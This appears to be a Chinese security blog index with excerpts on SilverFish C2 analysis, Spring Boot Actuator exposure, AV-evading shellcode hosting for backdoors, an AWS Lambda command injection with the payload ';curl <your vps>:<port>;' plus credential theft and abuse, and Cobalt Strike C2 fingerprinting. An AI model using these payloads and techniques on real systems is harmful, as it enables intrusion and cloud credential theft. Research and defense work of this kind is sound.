SilverFish_TLPWHITE
起点
根据FireEye发布的IOC,有一个域名是databasegalore.com,这个域名下的IP在2304端口起了PowerMTA服务,web目录扫描之后发现example.php。PTI团队根据这两个网页的设备指纹和PowerMTA服务,扫描了全网的IPv4地址,发现一个IP地址: 81.4.122.203
,然后PTI团队对IP下的C段进行渗透测试,发现81.4.122.101
存在一个C2服务器。
C2分析

收集信息如下:
- ID
- UUID
- Instance
- IP
- Country
- Domain\User@Computer
- OS
- Build
- Architecture
- Antivirus
- Is Admin
- Integrity Level
- UAC Setting
- ConsentPromptBehaviorAdmin • PromptOnSecureDesktop
- First visit
每个受害者页面都可以发送攻击指令,有如下:

看了下是命令执行和UAC绕过比较多,C2服务器的防护措施有如下:
- 使用AppArmor隔离环境
- 关闭访问日志(web日志、SSH登录日志、命令行日志)
- 使用IPTABLES只允许白名单IP访问
Read More
0x01. 基本知识
- 在pom.xml里面有这样的配置
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
<exclusions>
- 没有开启安全设置
management:
security:
enabled: false
health:
elasticsearch:
enabled: false
metrics:
export:
prometheus:
enabled: true
jmx:
enabled: true
endpoints:
web:
exposure:
include: '*'
base-path: /auto
服务端可以通过修改配置文件来改变Actuator的根路径:management.endpoints.web.base-path=/monitor
搜索github的源代码,可以看到类似的设置:
0x02 漏洞利用
在配置不当的时候,可能暴露以下路由:
/actuator
/auditevents
/autoconfig
/beans
/caches
/conditions
/configprops
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/metrics
/mappings
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
/actuator/auditevents
/actuator/beans
/actuator/health
/actuator/conditions
/actuator/configprops
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/metrics
/actuator/scheduledtasks
/actuator/httptrace
/actuator/mappings
/actuator/jolokia
/actuator/hystrix.stream
Read More
背景需求
不管一个什么形式的后门:定时任务、dll劫持、开机启动…,当我设置的后门运行的时候,我想掌握后门的启动时间、触发IP等上环境,所以这篇文章是在shellcode分离免杀的基础上做了尝试性扩展
考虑这样的场景:
- 后门被静态分析
- 后门被动态分析
- shellcode被提取之后触发
- …
在shellcode分离免杀的基础上扩展还是比较容易的,当客户端请求远程shellcode托管服务器的时候,增加一个机器人,然后发起一个上线通知:If This Then That,这样太简单了,我们再多加点料,比如:
- 不带合理参数请求shellcode的URL时候,发起警告
- 当木马运行在恶意环境的时候,发起警告
- 当木马上线IP不在服务端列表
- 当木马上线主机的设备指纹不在服务端列表
- shellcode托管服务随时可以关闭打开
- shellcode托管服务随时可以新增删除木马上线IP或者设备指纹
准备材料
- 一台VPS:托管shellcode,通知slack机器人
- 一个AWS账号隐藏C2(CloudFront)
- Slack:接收通知,使用
Slash commands
功能控制shellcode托管服务
托管shellcode流程

Read More
漏洞
测试的时候发现AWS的Lambda里面有这样的代码,可以很明显的看出来存在命令注入:
execute_command = "ffmpeg -i " + video_url + " -y -f " + img_format + " -ss " + time_index + " -vframes 1 " + WH + " " + output_path
print(execute_command)
cp = subprocess.run(execute_command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
攻击的Payload: ;curl <your vps>:<port>;
,然后在自己服务器监听可以收到Lambda容器发起的请求。
修复代码:
cp = subprocess.run(["ffmpeg", "-i", video_url, "-y", "-f", img_format, "-ss", time_index, "-vframes", "1", output_path], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
储备知识
- Lambda函数代码路径:
/var/task
- 用户凭证: 存储在环境变量里面,
AWS_ACCESS_KEY_ID
, AWS_SECRET_ACCESS_KEY
, AWS_SESSION_TOKEN
- 文件系统:
/var/task
只读,/tmp
可写
- 默认用户:
sbx_userxxx
- Lambda计算的最大超时时间是15分钟,凭证过期时间是11个小时左右
- 攻击Lambda只需要获取AK、SK、Token,反弹shell没什么意义
在存在命令执行的情况下先获取用户凭证,然后使用awscli
写入本地配置文件里面,通过awscli
来操作,如果在创建Lambda
的权限控制不足,这个时候就可以使用awscli
来操作各种资源,比如我发现的命令执行有对主账户下所有网卡的操作权限,可以使用获取到的用户凭证删除所有网卡接口。
存在另外一种情况,当获取到的凭证权限很小的时候,到处都是is not authorized to perform
,可以通过以下查询来查看自己的凭证都什么权限,首先配置命令行工具:
Read More
背景
在github上面出现一个仓库分析CobaltStrike
监听端口的特征:https://github.com/Te-k/cobaltstrike。CS在监听Stager端口的时候,会通过URI下载Payload执行,这个URI生成的规则生成:

找到DomainFront
根据360的空间测绘,看完之后第一时间想到的是通过fofa这类空间测绘找出特征,然后找出来设置了DomainFront的C2,想看看这些C2
的原始域名和设置C2的域名是什么情况,大家都用的什么作为域名前置的 :)
Quake测绘
根据360给出的搜索条件,先找出来一批IP地址:
response:"HTTP/1.1 404 Not Found" AND response:"Content-Type: text/plain" AND response:"Content-Length: 0" AND NOT response:"Server: " AND NOT response:"Connection: " AND port: "443" AND NOT country: "China"
修改脚本
修改好之后的脚本和扫描结果:https://github.com/JKme/cobaltstrike。把单线程改为多线程,再增加一个获取IP的https证书域名函数:
Read More